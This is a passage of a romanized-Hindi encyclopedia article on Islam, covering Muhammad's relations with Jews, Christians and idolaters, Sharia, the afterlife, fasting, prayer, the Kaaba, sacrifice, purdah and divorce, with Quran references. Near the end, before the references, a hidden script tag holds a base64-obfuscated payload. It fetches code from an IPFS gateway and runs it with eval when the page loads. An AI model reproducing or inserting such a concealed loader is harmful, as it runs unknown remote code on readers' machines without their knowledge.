yahoodi dharm ke mahatma, ibrahim ishaq, daood, suleman ke bhi mananiy mahatma aur rasool hai. apane vansh ke prati b de abhimani yahoodi log mahatma ke madina (yasribh) ane par pahale kuchh samay tak to musalamanoan ke virodhi n the, parantu jab unhoanne dekha ki hamari pradhanata ab ghat rahi hai aur muhammad ka prabhav adhik badhata ja raha hai, to vah bhi drohi ho gaye. islam ki shiksha ka bahut-sa bhag yahoodi aur eesaee dharmoan se liya gaya hai. donoan dharmoan ke prati arambh hi se mahatma ki b di shraddha thi. yahaan tak ki ‘namaz’ bhi pahale musalaman log unhian pavitr sthan ‘yorushilamh’ ki or muanh karake padhate a rahe the. jab yahoodiyoan ne shatruta karani shuroo ki to mahatma muhammad ne apane anuyayiyoan ko ‘yorushilamh’ se muanh hatakar ‘kaba’ ko apana ‘kibla’ (sammukh ka sthan) banane ki ajna di. yahoodiyoan ke vyavahar ke vishay mean kaha gaya hai-

‘yahudiyoan mean kuchh log eeshvar-vaky (quran) ko sunate haian. phir jo kuchh unhoanne jana tha, use badal dete hai aur ise vah janate haian.‘[32]
‘yahoodi vaky ko usake sthan se badal dete hai’.[33]

mahatma aur unake anuyayiyoan ka vishvas tha ki yahoodi logoan ke granthoan mean muhammad ke rasool (prerit) hokar ane ki bhavishyavani hai; kintu vah log ise badalakar doosara hi kah dete hai jisamean ki kahian islam ko isase dridh hone mean sahayata n mil jay. oopar uddhrit doosare vaky mean isi bat ki or sanket hai. isake atirikt any akshep bhi yahoodiyoan par paye jate hai; jaise-

‘kuchh dhan milane ke liye apane hath se pustak likhakar yah kahane valoan ko dhikkar hai ki vah eeshvar ki or se hai.‘[34]
‘koee-koee yahoodi chahate hai ki tumhean (musalamanoan ko) path-bhrasht kar dean, kintu tumhean maloom nahian ki ve apane sivay doosare ko (aisa) nahian kar sakate. hai granth[35] valo ! tum log sakshi ho, phir kyoan nahian eeshvar ke vachanoan (quran) par vishvas karate? he granth valo ! janate hue bhi tum kyoan saty ko asaty se dhaankakar chhipana chahate ho?[36]

quran aur yahoodiyoan ke dharm mean bahut samanata aur murti-poojakoan ke siddhant se ghor virodh hai; to bhi dvesh ke mare yahoodi log musalamanoan se moortipoojakoan ko bhi achchha batalate the: yatha- ‘vishvasiyoan (musalamanoan) se yah (nastik) hi adhik sumarg par aroodh haian; is prakar nastikoan (qaphiroan) ko kahane vale moorti aur shaitan ke vishvasi granth ke kuchh aansh pane valoan ko too (muhammad) nahian dekhata?’[37]

mahatma to yahoodiyoan ko astik samajh keval musalamanoan ke lie hi prayukt hone vale ‘assalamu alaikumh (tumhara mangal ho) vaky ko kahakar pranam karate the; kintu dah ke mare yahoodi usake uttar mean ‘assalamu alaikumh’ v ‘alaikumu-ssamu’ (=aur tum par mrityu ho) kaha karate the.

yahoodiyoan ke dharmagranthoan ko quran ne bhi eeshvariy mana tha. is vishvas se labh uthakar vah musalamanoan ko dhokha dete the.

“jisamean tum samajhoan ki yah eeshvariy pustak hai, isaliye unamean se kitane jibh lautakar padhate haian aur kahate hai ki yah eeshvar ki or se hai ; kintu n vah eeshvar ki or se hai, n us granth mean se. jan-boojh kar eeshvar par vah mithyaropan karate hai.“[38]

jab yahoodiyoan se kaha jata hai ki jis prakar tum log ibrahim, moosa adi mahatmaoan ko eeshvar-prerit samajhate ho, usi prakar mahatma muhammad ko bhi kyoan nahian samajhate? tab ve log kahate the-

eeshvar ne hamase pratijna ki hai ki jab tak koee aisi bali ke sath n aye, jise agni (svayan) khaye ; tab tak kisi par tum log vishvas n karana ki yah eeshvar-presit hai.‘

jisake uttar mean phir vahian kaha gaya hai-

‘kah, mujhase pahale kitane prerit chinhoan ke sath tum log mean aye. yahi tum satyavadi ho, to (tumane) kyoan unhean mara?’[39]

shatruta ho jane par yahoodiyoan ke char mahatma ke pas a-a kar unaki shiksha aur any vrittantoan ka pata laga apane sardaroan ko khabar dete the. vahaan se yah khabar ‘makka’ vale shatruoan ko de di jaya karati thi. inhian char ke vishay mean yah vaky hai-

‘pas mean aye bhakshy abhoji, un jhoothe dootoan ko ajna de (ki n avean) athava upekshit kar de. yadi upeksha kare to teri hani nahian kar sakate.‘[40]

l dakapan mean ek bar eesaee sannyasi ‘bahera’ se mahatma muhammad ki mulakat ka zikr pahale a chuka hai. yauvanavastha mean bhi unhean ek bar us mahapurush ke satsang se labh uthane ka avasar phir prapt hua. aise hi tejasvi, sadachari mahatmaoan ke parichay ne unake hriday se eesaee-dharm aur unake anuyayiyoan ke prati shraddha utpann kar di. quran mean kaha hai-

‘yahoodiyoan’ aur ‘kafiroan’ (nastikoan) mean too bahoot se kroo r aur dahavale adamiyoan ko payega ; kintu jo apane ko eesaee kahate haian, unamean se bahutoan ko too sauhardr aur samipata se yukt payega ; kyoanki unamean nirabhimani vidvanh sannyasi hai.[41]

eesaiyoan se yoan bhi koee arthik chadha-utari n thi jisase ki unaka musalamanoan ke sath virodh hota. yadyapi eesaiyoan ki prashansa is prakar likhi gee hai ; kintu isaka arth yah nahian ki unake siddhantoan ka khandan quran mean nahian kiya gaya hai. eesaee-dharm mean eeshvar tin roop mean vidyaman mana jata hai-

  1. pita-jo svarg mean rahata hai
  2. putr-prabhu eeshu khrisht jinhoanne sansar ke hitarth kumari mariyam ke garbh se sansar mean avatar liya aur ajnaniyoan tatha anyayiyoan ne unhean sooli pe chadha diya
  3. pavitratma-jo bhaktajanoan ke hriday mean pravesh kar unake mukh ya sharir dvara trikal ka jnan ya any dharmik rahasyoan ko kholata hai.

is vishay mean quran ka kahana hai-

“eeshvar tinoan mean se ek hai, aisa kahane vale zaroor nastik haian. bhagavanh ek hai. us ek ke atirikt aur nahi.“ (6:10:7)

“mariyam-putr yishu pahale preritoan ki bhaanti ek prerit tha, doosara nahian ; aur usaki mata ek sati, stri thi. donoan ahar bhakshan karate the. dekho yuktiyoan ko kaise mean (eeshvar) varnan karata hooan, kintu vah (eeshvar) vimukh hai.“[42]

munafik

madina ane par jin moortipoojakoan ne islam-dharm svikar kiya, unhean ‘aansar’ kaha jata hai; inamean bahut se vanchak musalaman bhi the jinhean ‘munafik’ ka nam diya gaya hai. inhian ke vishay mean kaha gaya hai- ‘ham nirnay-din (qayamat) aur bhagavan par vishvas rakhate haian; aisa kahate hue bhi vah vishvasi (musalaman) nahian haian. parameshvar aur musalamanoan ko thagate hue vah apane hi ko thagate haian.‘[43]

vishvasiyoan (musalamanoan) ke pas jab gaye, to kaha ham vishvas rakhate haian; rakshasoan (nastikoan) ke pas nikal jate haian to kahate haian-(musalamanoan se) hansi karate haian, anyatha ham to tumhare sath haian.‘[44] “vah donoan ke bich latakate haian, n idhar haian, n udhar ke.“[45] isilie marane par- “nissahay hokar (vah) narak ki agni ke sabase nichale tal mean raheange.“[46]

kafir

us samay ‘arab’ mean moortipooja ka bahut adhik prachar tha. quran mean sabase adhik zor se isi ka khandan kiya gaya hai. mahatma muhammad ne jab yah suna ki ‘kaba’ mandir ke nirmata hamare poorvaj mahatma ‘ibrahim’ the, jo moortipoojak nahian the, to unhean is apane kam mean aur bal-sa prapt hua maloom hone laga. unaki yah ichchha atyant balavati ho gee ki kab ‘kaba’ phir moortirahit hoga. unhoanne sachche devata ki pooja ka prachar aur jhoothe devata ki pooja ka khandan apane jivan ka mukhy lakshy rakhakar barabar apane kam ko jari rakha. ‘arab’ ki kashi ‘makka’ mean ‘kuraishi’ pandoan ka b da zor tha. yah log apane anuyayiyoan ko kahate the- ‘vadd’, ‘subaa’, ‘yagoos’, ‘nasr’ apane ishtoan ko kabhi n chho dana chahiye.[47] ‘quran’ ke upadesh ko vah log kahate the- yah is muhammad ki man-gadhant hai.[48] ‘isako koee videshi sikhata hai.... ham achchhi tarah janate haian, us sikhane vale ki bhasha arabi se bhinn hai aur yah arabi.‘[49] vah log vishvas ke rasool hone ke bare mean kahate the- vah log vishvas nahian karate jab tak vah bhoomi se (jal ka) sota n nikal de ya khajoor, aangoor adi ka (aisa) bagicha n utpann kar de jisamean ki nahar bahati ho. athava apane kahe anusar akash ko tuk de-tuk de karake hamare oopar n gira de. ya devadootoan ko pratibhoo (jamin) ke taur par n lave. ya achchha mahal (isake lie) ho jay. athava akash par chadh jay. kintu usake chadhane par bhi ham vishvas nahian kareange jab tak ham logoan ke padhane layaq koee lekh n laye.“[50]

kafiroan ki uktiyaan

quran mean purane vasooloan ke lie anek chamatkar likhe hai. jaise mahatma moosa ne patthar se barah jal-srot baha diye, apane athiyoan ko avargiy bhojan, ‘mann’ aur ‘salava’ diya karate the. ibrahim ke pas to khuda barabar hi aya karate the. mahatma eesa akash par chadh gaye ityadi in batoan hi ko vah log bhi kahate the ki yadi tum prabhu-prerit ho to kyoan usi prakar ke chamatkar nahian dikhate? aur bhi anek prakar se vah log hansi u date the. niche kuchh aur addharan unake vyavaharoan ka diya jata hai-

“bhojan karata hai, bazar mean ghoomata hai, yah kaisa rasool (prabhu-prerit) hai? kyoan nahian isake pas devadoot ata jo isake sath (hamean) darata? kyoan nahian isake pas kosh (khazana) aur bag hua, jisaka yah upabhog karata?”[51]
“kya ham kisi pagal, daridr, tukaband (kavi) ki bat mean p dakar apane ishtoan ko pheank dean?”[52]

us samay pashchimi arab ‘hizaj’ mean do b de-b de sardar the ; ek makka ke ‘quraish’ vansh ka sardar, doosara ‘tayaf’ ka samant. mahatma quraish vansh ke hashim-parivar ke the. yah log utane dhani-mani n the. quraish moortipoojak kahate the.

shariyat

islam mean shariyat ka tatpary dharmik vidhishastr se hai. ve qanoon, jo quran sharif tatha hadis ke vivaranoan par adharit hote haian tatha islam ke achar-vyavahar ka palan karate haian, shariyat ke antargat ate haian. shariyat ke char pramukh srot haian—

  • quran mazid
  • hadis ya sunnat
  • ijmaa
  • kias

in charoan ko islam ki adhar shila bhi mana jata hai.

qayanat, karmaphal, jannat, dozakh

yahaan par manushy ke karm aur usake paripak ke sadhan srishti, svarg adi ka varnan kiya jata hai. srishti to usake sirajanahar ka anuman hota hai, jaise kary se usake karan ka. vyavastha ki vichitrata, rachana ki vichitrata, saundary adi gunoan ki adhikata se jagath kisi asadharan shilp chaturata se poorn shakti ka banaya hua hai. koee–koee darshanik srishti ko bhramatmak kahakar paramarth mean usaki satta ke inkari hote haian, kintu quran aise jagath ke mithya hone ko svikar nahian karata. kaha hai—

akash, prithvi aur jo kuchh unake madhy mean hai, in sabako mithya nahian, ek nirdisht uddeshy se utpann kiya gaya hai.[53]

sansar ki tuchchhata ka varnan usaki asthirata ke karan hai. sansar mean hi svargadi sthan nity haian, isalie unaka pralobhan satkarmiyoan ko sthan–sthan par diya gaya hai. sansar aur sansar ki vastuean eeshvar ki anugrah ki ichchha ka nidarshan (namoona) bhoot hai. isilie bahut jagah eeshvar ki kritajnata ke bhar se namr hone ka upadesh kiya gaya hai.

qayanat

“kyoan nahian paramatma par vishvas karate, tum mritak the, phir usane tumhean jilaya, aur phir marata hai, tadanantar jilayega, ant mean usake pas hi jaoge. vah jisane tumhean aur jo kuchh prithvi mean hai, sabako utpann kiya, phir akash par chadha aur use sat akashoan mean vibhakt kiya. vah nissandeh sab vastuoan ka jnata hai.“[54]

  • punashch -

“vah jisane tumhare lie nakshatroan ka nirman kiya ki jisase jangal, samudr aur andhakar mean rasta pavean.....vah jo akash se jal girata hai. phir usase sari udibhadyaman vastuean nikalian. usase maian (prabhu) ne vanaspati nikali, phir usase sanyukt phaloan ko utpann karata hooan, kitane hi khajoor ki bal mean latakate haian, anupam aur sopam aangoor, anar aur jaitoon ke udyan. jab vah phalate aur pakate haian to unake phaloan ko dakho. isamean hi vishvasi jatiyoan ke lie pramanh haian.“[55]

  • aparanch—

“kya too nahian dekhata, parameshvar hi ne jal utara, phir usase anek prakar ke phal aur parvatoan mean shvet, rakt, ati krishna adi anek varn ki upatyaka utpann huee. ki de, pashu aur manushyoan mean bahut prakar ke varn vale prani haian. is prakar ke jnan vale bhagavan se darate haian. parameshvar nissandeh kshamashil aur balishth hai.“[56] eeshvar ki kripa kataksh dvara manushyoan ka koti–koti upakar ho raha hai, isalie usase kritadhn hona thik nahian.

  • quran mean varnit jagath ki utpatti, usake do shabdoan ke arth se bhali prakar vidit ho sakati hai. vah hai—‘qunu f–yakun’ (ho, phir hota hai). bhagavan ne kaha—ho, phir yah jagath ho jata hai. upadan adi karanoan ka koee jhag da nahian hai. sarvashaktiman hone se usane bina upadan karan hi ke jagath bana dala. is prakar asad se sad ki utpatti hi quran pratipadit srishti hai. yahoodi aur eesaee dharm mean bhi yahi srishti–vishayak siddhant svikar kiya gaya hai. unake vichar mean, yadi doosare prakar se mana jae to eeshvar sarvashaktiman nahian rah sakata. kisi ko sandeh ho ki kya jane abhinn nimittopadanata (vah nimitt aur vahi upadan karan hai) ko svikar karate hoan. kintu is bat ko is vaky ne hi spasht kar diya, jisamean kaha hai—‘n vah utpadak hai aur n vah utpann hua hai.‘ yahaan upadan karan se jagath utpann karane mean bhagavan ki utpadakata ka nishedh hai. n ki bina upadan hi asat se. unaka kahana hai, yadi svayan upadan karan hai to nirvikar nahian rah sakata, yadi use any upadan karan ki apeksha hai to sarvashaktiman nahian rahata. jahaan–tahaan srishti vishay ko yahaan sankshep mean uddhrit kiya jata hai.

jannat

manushy ka yah janm sarvapratham aur antim hai. is janm mean phalabhog sambhav nahian. marane par punyatma svarg ko, papi nark ko, kisi–kisi ke mat mean donoan ki samanata vala ‘eraf’ (iaraf) ko jata hai. jaise vahaan nandakanan ko saundary ki khan apsaraean alankrit karati haian, vaise hi yahaan bhi ‘jannat’ ke udyan ko shobha–rashi ‘hoor’ anandamay banati hai. ‘quran’ mean vishvasiyoan (musalamanoan) ko unake shubh karm ke phalasvaroop svarg ka atyadhik varnan hai. unamean se tho da–sa yahaan par udadhrit kiya jata hai—

  • “shubh karm karane vale vishvasiyoan ko shubh–sandesh suna—unake lie udyan (bag) haian, usase niche naharean bahati haian, sare achchhe phal vahaan lae ge haian. (svarg vale) un logoan ko jaisa ki pahale (kaha gaya tha), vaisa hi yah upahar diya hai. usamean unake lie sundar (striyaan haian) aur vah (punyatla log) sarvada vahaan ke nivasi hoange.“[57]
  • “us din svarg vale kary mean asakt sanlap karate haian. vah aur unaki striyaan chhaya mean takiya lagae takhtoan par baithi hoangi, vahaan unake lie achchhe phal aur jo kuchh vah chahate haian (vartaman hoga).“[58]

dozakh

uparyukt vakyoan se quran–pratipadit svarg ka anuman ho sakata hai. kinhian–kinhian adhunik vyakhyataoan ka mat hai ki yah sab vaky–jardan adi nadiyoan se susichit ‘yaman’ adi pradeshoan par musalamani vijay ke lie bhavishyavani hai, kintu yah mat n prachin bhashyakaroan dvara anumodit hai aur n yah sare saman vahaan ke lie ghatit hote haian. vah bisavian shatabdi ke anukool ise banana chahate haian, kintu aisi bhavishyavani hi par kahaan bisavian shatabdi vishvas karati hai. astu kuchh tho de se navin vichar valoan ko chho dakar sara islami sansar uparyukt prakar ka hi svarg manata hai. svarg aisi adrisht vastu vastutah kalpana ki sima ke bahar ki hai, usamean eeshvariy adesh hi pramanabhoot hai.

karmakand

roza

"he vishvasiyoan (musalamanoan) ! poorvajoan ke saman tum par bhi kuchh dinoan ke lie upavas (rakhane ka vidhan) likha gaya hai, jisase ki tum sanyami bano. phir jo koee tumamean se rogi ho ya yatra mean ho, to vah badale mean ek garib ko bhojan deve. jo khushi se shubh karm karo to vah lamang hai, aur yadi upavas karo to tumhare lie shubh haian, yadi tum janate ho.

ramazan ka mas pavitr hai, jinamean spasht, margapradarshak, manavashikshak (satyasaty) vibhajak, quran utara gayaan isalie tumamean se jo koee ramazan mahine ko prapt ho, upavas kare.[59]

namaz

  1. REDIRECTsaancha:mukhy

namaz (salath prarthana)—pratyek musalaman ka nity karm hai jisaka n karane vala papabhogi hota hai. kaha hai—

salath aur madhy salath ke lie savadhan raho. namratapoorvak parameshvar ke lie kh de ho. yadi khatare mean ho to paidal ya savar hi (use poora kar lo) punah jab shant ho.....to prabhu ko smaran karo.[60]

'namaz ka sthan islam mean vahi hai jo hindoo dharm mean sandhya ya brahm–yajn ka. yadyapi quran mean 'panchagana' ya paanch vaqt ki namaz ka varnan kahian par bhi nahian aya hai. vah ek prakar se sarvamany hai. panchagana namaz hai—

  1. 'salatulphaz' (pratah prarthana) yah ushakal hi mean karana p dati hai.
  2. 'salatu–jjohan' (madhyahnottar tritiy pahararambhik prarthana)—yah dopahar ke bad tisare pahar ke prarambh mean hoti hai.
  3. 'salatulh–asr. (madhyahnottar chaturth pahararambhik prarthana)—yah chauthe pahar ke arambh mean hoti hai.
  4. 'malatulh—magrib' (sandhy prarthana)—yah sooryasth ke bad turant hoti hai.
  5. 'salatulh—isha' (ratri prathamayam prarthana)—ratri mean pahale pahar ke ant mean hoti hai.

kaba

  1. REDIRECTsaancha:mukhy

jaise uchch bhav aur eeshvar ke prati prem namaz (=namash) ki uparyukt prarthanaoan mean varnit hai, pathak us par svayan vichar kar sakate haian. saandhik namaz ka islam mean b da man hai. vastutah vah sanghashakti ko badhane vala bhi hai. sahasroan eshiya, yoorop aur afrika nivasi musalaman jis samay ek hi svar, ek hi bhasha aur ek bhav se prerit ho eeshvar ke charanarvind mean apani bhakti pushpajanli arpan karane ke lie ekatr hote haian, to kaisa anandamay drishy hota hai. us samay ki samanata ka kya kahana. ek hi pankti mean daridr aur badashah donoan kh de hokar bata dete haian ki eeshvar ke samane sab hi barabar haian.

islam ke char dharm–skandhoan mean 'haj' ya 'kaba' yatra bhi ek hai. 'kaba' arab ka prachin mandir hai. jo makka shahar mean hai. vikram ki pratham shatabdi ke arambh mean romak itihas lekhak 'dyaudrash salash' likhata hai—

yahaan is desh mean ek mandir hai, jo araboan ka atyant poojaniy hai.

mahatma muhammad ke janm se prayah 600 varsh poorv hi is mandir ki itani khyati thi ki 'siriya, arak' adi pradeshoan se sahasroan yatri prativarsh darshanarth vahaan par jaya karate the. puranoan mean bhi shiv ke dvadash jyotirliangoan mean makka ke mahadev ka nam ata hai. h. jru lh–asvadh (=krishna pashan) in sab vicharoan ka kendr pratit hota hai. yah kaba divar mean laga hua hai. aj bhi us par chumba dena pratyek 'hazi' (makkayatri) ka kartavy hai. yadyapi quran mean isaka vidhan nahian, kintu puran ke saman mananiy 'hadis' granthoan mean use bhoomak nar bhagavan ka dahina hath kaha gaya hai. yahi makkeshvaranath hai. jo kaba ki sabhi moortiyoan ke to de jane par bhi svayan jyoan ka tyoan vidyaman hai. itana hi nahian, balki inaka jadoo musalamanoan par bhi chale bina nahian raha aur vah patthar ko bosa dena apana dharmik kartavy samajhate haian, yadyapi any sthanoan par moortipooja ke ghor virodhi haian. is pavitr mandir ke vishay mean quran mean aya hai—

nissandeh pahala ghar makka mean sthapit kiya gaya, jo ki dhany hai tatha jnaniyoan ke lie upadesh hai.[61]

mahaprabhu ne manushy ke lie pavitr grih 'kaba' banaya.[62]

qurbani

'quran' ke anusar kal tatha any parvoan mean 'hajz' vidit hai. islam ki qurbani koee nayi chiz nahian hai. ishtoan aur devataoan ko pashu ka balidan karana bahut purane samay se chala ata hai. vikramaparv ashtam shatabdi mean, 'tiglatapesharh' aur 'shalmeshar', 'asur' rajaoan ke isht 'sakkath–venath' baveru (babul) nagar ke vishal mandir mean baithe bali grahan karate the. 'nargal', 'ashim', 'nimaj', 'tartak', 'adramlesh', 'amlesh', 'nasharash', 'degan' adi dev–samuday vikram se anek shatabdiyaan poorv adhunik laghu eshiya ke purane nagaroan 'kath', 'drama', 'alit', 'sapharvem' mean rahate hue bali grahan karate the. moorti poojak samuday to prayah sara hi is pashubali–kriya mean atyant shrriddhalu dekha jata hai. kintu amoorti poojak dharm bhi isase vianchit nahian raha. yahoodiyoan ki bhavy vediyaan sada pashu–rakt se ranjit rahati rahi haian. unaki shushk aur dagdh baliyaan 'baibil' padhane valoan ko avidit nahian. islam ne adhikaansh yahoodi siddhantoan ko jyoan ka tyoan ya kuchh parivartan ke sath grahan kar liya. bali ka siddhant bhi usi prakar yahoodi dharm se liya gaya hai. yahaan par donoan ki bali ke vishay mean samata dikhane ke lie 'tauret' aur 'quran' donoan se kuchh vaky udadhrit kie jate haian—

“That will offer his oblation for all his vows or for all his freewill offerings, which they will offer unto the lord for a burnt offering. Ye shall offer at your own will a male without blemish, of the beeves, of the sheep, or of the goats. Blind or broken or maimed, or having a wen, scurvy or scubbed, ye shall not offer these unto the lord, nor make an offering by fire of them upon the altar unto the lord…Ye shall not offer unto the lord, that which is bruised, or crushed, or broken or cut”[63].

"jab moosa ne apani qaum se kaha ki parameshvar tumako ajna deta hai ki ek gau bali chadhao...(vah) bole—apane eeshvar se hamare lie poochh ki hamean batave—vah kaisi ho. kaha—(eeshvar) ajna deta hai ki vah gau n vriddha aur n hi byaee ho, donoan ke bich ki ho. so jisake lie ajna di gee, usake karo. bole—apane eeshvar se poochh, usaka rang kaisa ho. bola—vah (eeshvar) kahata hai, pila chamakila rang jo dekhane vale ko pasand ho. bole—apane eeshvar se poochh, kis prakar ki gay ho. bola—kahata hai, aisi gau nahian, jo ki parishram karane vali, khet jotati ya khet sianchati hai. jo poore aang vali bedag hoan."[64]

parda

pahale vaky mean to chadar dhaankane ka abhipray musalaman jani jane, tatha n satayi jane ke lie kaha gaya hai. doosare vaky mean bhi saundary ko dikhane se rokane ka abhipray borabandi lena anyay hai. spasht arth to yah hai ki jaise pashchaty stri samaj mean saundary dikhalane ka rog yahaan tak lag gaya hai ki ja de–pale mean bhi, adha vakshasthal nanga hi rakhati haian. kahian vahi bat striyoan mean n ghusane lage. darasal is prakar ki bimari stri–purush donoan samajoan mean bhi kisi prakar se ana thik nahian hai. kahavat hai ki 'shaitan bhi apane matalab ko siddh karane ke lie shastr ki duhaee deta hai', usi prakar yah musalaman patiyoan ka sarasar anyay hai, jo ki quran mean likhe parda hi par santosh n kar unhoanne striyoan ko sat sangin parde mean band rakha hai. quran ne to vishesh shrrigar adi ke n dikhaee dene ke lie kuchh vishesh aangoan ko dhaankane ke lie kaha, kintu yahaan logoan ne sare badan ko hi dhaankane par bas n ki, oopar se sat taloan ke andar bhi unhean band karana uchit samajha. yah keval musalaman purushoan ki hi bat nahian, sach kahate haian 'guru to guru hi rah ge, chela chini ho gaya.' hinduoan ke purushoan ne kabhi n suna hoga ki parda pratha kis chi diya ka nam hai. aj bhi maharashtr, gujarat, karnatak, andhr pradesh, malabar ityadi adhe se adhik bharatavarsh ke hindoo parda ko nahian janate. kintu jis prakar aj aangrezi rajy mean bahut se aangrezoan ka khan–pan, rahan–sahan gauravapoorn samajh hinduoan ne musalamanoan ki is riti ko apanakar usane aur taraqqi ki. pahale–pahal in ritiyoan ko dhanikoan aur b de adami kahe jane vale logoan ne liya, pichhe b de adami banane ki ichchha vale sabhi logoan ne apani striyoan par is naye dand–vidhan ka prayog arambh kar diya. sharir mean komalata ki vriddhi ke lie rajadaraoan ko 'asooryapashya' to dekha gaya hai, kintu 'achandrapashya' hone ka saubhagy aj hi prapt hua hai. 'ihaivastan ma viyaushthamh' (donoan yahaan hi raho, mat alag ho) is vivah–sambandhi vedamantr mean spasht vivahit jo de ko alag hone ka nishedh kiya hai. is prakar arth (hindoo) dharm vivah sambandh ko akhandaniy manata hai. kintu kee dharm vishesh sthiti mean vivah sambandh tyag ya 'talaq' ki anumati dete haian. quran kahata hai— jo apani striyoan se (talaq ki) shapath kha lete haian, unake lie char mas ki avadhi hai. (isi bich mean) yadi mel kar lean to eeshvar kshamashil aur kripalu hai. yadi 'talaq' ka nishchay kar liya, to bhagavan (usaka) sunane vala aur janane vala hai. 'talaq' di gee striyaan tin rritukal tak pratiksha karean; unake yogy nahian ki jo eeshvar ne unake udar mean utpann kiya, use chhipa rakhean....unake patiyoan ko bhi itane din tak unhean phir se le lene ka adhikar hai, yadi sudhar chahean. striyoan ko bhi nyayanusar vaisa adhikar hai, kintu purushoan ka un par darja hai.[65]

yadyapi yahaan par kuchh shartoan ke sath talaq ki anumati de di gee hai. kintu to bhi ise achchha nahian mana gaya hai. yah mahatma muhammad ke is vachan se bhi prakat hota hai

moortipooja khandan

manushy jise shubh karm samajhata hai, karata–karata hai aur jise ashubh, use n karane aur n karane dene ka prayatn karata hai. oopar shubh karmoan ka varnan kiya ja chuka hai. ashubh karmoan mean 'quran' moorti–pooja ko bhi pariganit karata hai. atah usake vishay mean yahaan par kuchh varnan kar dena avashyak pratit hota hai.

vikram se kee shatabdiyoan poorv misr, asur, aldan, filistin, midiya, yavan, rom adi deshoan mean anek devi–devoan ki moortiyoan ki pooja ki jati hai. arab mean bhi aise anek devalay the jinamean makka ka 'kaba' sarvashreshth tha.

'tadad', 'subaa', 'yagoos', 'yook', 'nasr'[66] tatha 'hubl', 'manat', 'ujja' adi kitani hi dev–pratimaoan ka nam quran mean bhi aya hai. 'kalb', 'hamdan', 'majhaj', 'mudar' aur 'hamayan' jatiyoan ke kramashah narakriti 'vadad', ratryakriti 'subaa', sianhakriti 'yagoos', ashvakriti 'yook' aur shyenakriti 'nasr' isht the. 'kaba' ki pradhan dev–pratima 'hubl' ko (akal ke samay varsha karati hai—sunakar) 'amroo' ne siriya ke 'balka' nagar se lakar kaba mean sthapit kiya. is samay ke arab nivasiyoan mean in moortiyoan ka b da prabhav tha. jis samay makka–vijay hone par muhammad ne musalamanoan ko kaba ki moortiyoan ko to dane ko kaha, to kisi ki himmat nahian p di. is par svayan ali ne is kam ko kiya.

sadachar

  • quran ke anusar kripanata bhi ek aparadh hai. ek jagah kaha hai—

jo kripanata karate haian aur doosare ko bhi vaisa hi karane ke lie sikhate haian, jo kuchh bhagavan ne apani kripa se diya, use chhipa rakhate haian, aise nastikoan ke lie mahayatana taiyar ki gee hai.[67]

  • kintu sath hi apavyayata ke bare mean bhi kaha hai—

'allahu la yahibbulmusriphinh'[68] (bhagavan fajul–kharchoan par khush nahian rahata).

  • vistar bhay se adhin n likhakar do–tin quran ke achar sambandhi upadesh udadhrit kie jate haian—
  1. "shubh kary kar aur kshama maang le, ajnaniyoan se upeksha kar."[69]
  2. "jo apane oopar kie ge anyay ka badala leve, usake lie kuchh kahana nahian. kahana to un par hai ja logoan par anyay karate haian aur duniya mean vyarth (dharmatma hone) ki dhoom machate haian. unhian ke lie ghor yatana hai. jo kshama aur santosh kare, to (usaka) yah (kam) nissandeh atyant sahas ka hai."[70]
  3. "tumhari santan....hamare (eeshvar ke) samip tumhean darja nahian dila sakati hai. haan, jo shrriddhalu aur achchha kam karane vale haian, unake lie phal doona hai."[71]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

tika tippani aur sandarbh

  1. ↑ ‘alalh-hubl’
  2. ↑ pratyek adhyay mean anek ‘rakooa’ aur pratyek ‘rakooa’ mean anek ‘ayate’ hoti haian.
  3. ↑ 72:2:4
  4. ↑ 33:3:1
  5. ↑ 33:5:6
  6. ↑ kuran noor ki hidayat (hindi) (ech ti em) veb duniya. abhigaman tithi: 23 sitanbar, 2010.
  7. ↑ 56 : 3 : 3-5
  8. ↑ 53 : 1 : 3-5
  9. ↑ 59 : 3 : 4
  10. ↑ 2:22:1
  11. ↑ 7:13:3
  12. ↑ 7:22:5
  13. ↑ quran 2:4:9
  14. ↑ quran 16:1:2-5
  15. ↑ quran 4:7:2
  16. ↑ quran 39:6:10
  17. ↑ quran 35:5:4
  18. ↑ quran 53:3:12
  19. ↑ quran 13:1:6
  20. ↑ quran 3:13:8
  21. ↑ quran 31:3:11
  22. ↑ quran 21:4:6
  23. ↑ quran 2:34:2
  24. ↑ quran 112:1:3
  25. ↑ quran 2:32:3) (quran 57:2:1
  26. ↑ quran 57:2:8
  27. ↑ quran 2:4:5) (quran 20:7:1
  28. ↑ quran 17:7:1
  29. ↑ quran 20:116
  30. ↑ quran 3:18:4
  31. ↑ quran 8:6:4
  32. ↑ 2:9:4
  33. ↑ 4:7:4
  34. ↑ 2:9:8
  35. ↑ yahaan granth valoan se yahoodi abhiprerit haian jinhean moosa, daud adi rasooloan dvara ‘tauret’, ‘jaboor’ adi eeshvariy granth mile.
  36. ↑ 3:7:6-8
  37. ↑ 4:8:1
  38. ↑ 3:8:7
  39. ↑ yahaan ‘jakriya’ adi yahoodiyoan ke prerit abhipret haian jo divy pramanoan ke sath aye the aur yahoodiyoan ne unhean mar dala. 3:15:3
  40. ↑ 5:6:8
  41. ↑ 6:2:5
  42. ↑ 6:10:8
  43. ↑ quran 2:2:1,2
  44. ↑ quran 2:2:7
  45. ↑ quran 3:21:2
  46. ↑ quran 3:21:4
  47. ↑ quran 71:1:23
  48. ↑ quran 11:3:11
  49. ↑ quran 16:14:3
  50. ↑ quran 17:10:7,10
  51. ↑ 25:1:7:8
  52. ↑ 37:2:3
  53. ↑ 46:1:3, 42:2:9, 45:3:1
  54. ↑ quran 2:3:8-9
  55. ↑ 6:12:3:5
  56. ↑ 35:4:1,2
  57. ↑ 2:3:5
  58. ↑ 36:4:5-7
  59. ↑ 2:23:1-3
  60. ↑ 3:32:3-4
  61. ↑ 5:13:4
  62. ↑ 5:13:4
  63. ↑ Leviticus 22: 20-24
  64. ↑ 2:8:6-9
  65. ↑ 2:28:5-7
  66. ↑ 72:2:3
  67. ↑ 4:6:4
  68. ↑ 7:3:6
  69. ↑ 7:24:11
  70. ↑ 52:4:12-14
  71. ↑ 34:5:1

